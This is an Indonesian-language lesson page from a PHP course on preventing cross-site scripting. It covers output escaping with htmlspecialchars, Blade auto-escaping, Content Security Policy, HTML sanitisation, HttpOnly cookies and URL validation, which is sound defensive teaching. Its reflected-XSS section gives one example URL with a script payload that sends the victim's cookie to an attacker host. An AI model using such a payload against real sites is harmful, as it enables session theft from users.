0Pricing
PHP Academy · Pelajaran

Pencegahan Cross-Site Scripting (XSS)

Lakukan escape pada output dengan htmlspecialchars dan terapkan Content Security Policy.

Pencegahan Cross-Site Scripting (XSS) adalah pelajaran PHP Academy gratis di CoddyKit. Ini adalah pelajaran 1 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar PHP Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus PHP Academy mencakup 4 pelajaran total.

Apa itu XSS?

Skrip Lintas Situs (XSS) terjadi ketika penyerang menyisipkan JavaScript berbahaya ke halaman web yang dilihat pengguna lain. Skrip tersebut berjalan di peramban korban dan dapat mengakses sesi, kuki, serta DOM mereka.

XSS Terpantul

Muatan berbahaya berada di URL atau parameter formulir, lalu dipantulkan oleh server dalam respons.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

XSS Tersimpan

Muatan tersebut disimpan di basis data, misalnya sebagai komentar atau bidang profil, lalu ditampilkan kepada semua pengunjung yang melihat halaman itu.

XSS Berbasis DOM

Kerentanan ini sepenuhnya berada di JavaScript sisi klien yang menyisipkan data tidak tepercaya ke dalam DOM secara tidak aman menggunakan innerHTML atau document.write.

htmlspecialchars()

Lakukan pelolosan terhadap keluaran untuk mengubah karakter khusus HTML menjadi entitas yang tidak berbahaya. Selalu lakukan pelolosan sebelum merender data yang diberikan pengguna.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Pelolosan Otomatis Blade

Sintaks {{ }} Blade Laravel secara otomatis memanggil htmlspecialchars. Gunakan {!! !!} hanya untuk HTML tepercaya yang telah disanitasi.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Kebijakan Keamanan Konten (CSP)

Header HTTP CSP menginstruksikan peramban untuk hanya menjalankan skrip dari sumber tepercaya, sehingga memblokir skrip sebaris yang disisipkan meskipun skrip tersebut berhasil masuk ke halaman.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Sanitasi Masukan HTML

Jika Anda harus mengizinkan masukan HTML berformat kaya, misalnya dari penyunting WYSIWYG, lakukan sanitasi menggunakan pustaka daftar putih seperti HTML Purifier atau paket Laravel mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

Header X-XSS-Protection

Tambahkan header X-XSS-Protection: 1; mode=block untuk dukungan peramban lama. Peramban modern mengandalkan CSP sebagai gantinya.

Kuki HttpOnly

Mengatur tanda HttpOnly pada kuki sesi mencegah JavaScript membacanya—sehingga mengurangi risiko pencurian sesi berbasis XSS meskipun sebuah skrip disisipkan.

Memvalidasi URL

Jangan pernah menyisipkan URL yang diberikan pengguna ke dalam href atau src tanpa validasi. URI javascript: dapat menjalankan XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Ringkasan

Selalu lakukan pelolosan terhadap keluaran dengan htmlspecialchars atau {{ }} milik Blade. Tambahkan Kebijakan Keamanan Konten. Sanitasi masukan HTML menggunakan pustaka daftar putih. Gunakan kuki HttpOnly.

Pemeriksaan Cepat

Fungsi PHP apa yang mengubah karakter khusus HTML menjadi entitas?

Pertanyaan yang Sering Diajukan

Apakah pelajaran “Pencegahan Cross-Site Scripting (XSS)” gratis?

Ya — teks lengkap “Pencegahan Cross-Site Scripting (XSS)” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus PHP Academy, upgrade ke CoddyKit PRO. Kursus PHP Academy mencakup 4 pelajaran total.

Apa yang akan aku pelajari di “Pencegahan Cross-Site Scripting (XSS)”?

Lakukan escape pada output dengan htmlspecialchars dan terapkan Content Security Policy. Kamu berlatih PHP Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.

Apakah aku perlu pengalaman untuk memulai PHP Academy?

Tidak diperlukan pengalaman sebelumnya. PHP Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 1 dari 4.

Berapa lama pelajaran “Pencegahan Cross-Site Scripting (XSS)” memakan waktu?

Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.

Bisakah aku menulis dan menjalankan kode dalam pelajaran PHP Academy ini?

Ya. Setiap pelajaran PHP Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.

Semua pelajaran dalam kursus ini

  1. Pencegahan Cross-Site Scripting (XSS)
  2. Injeksi SQL dan Kueri Berparameter
  3. Perlindungan CSRF
  4. Penyimpanan Kata Sandi yang Aman
← Kembali ke PHP Academy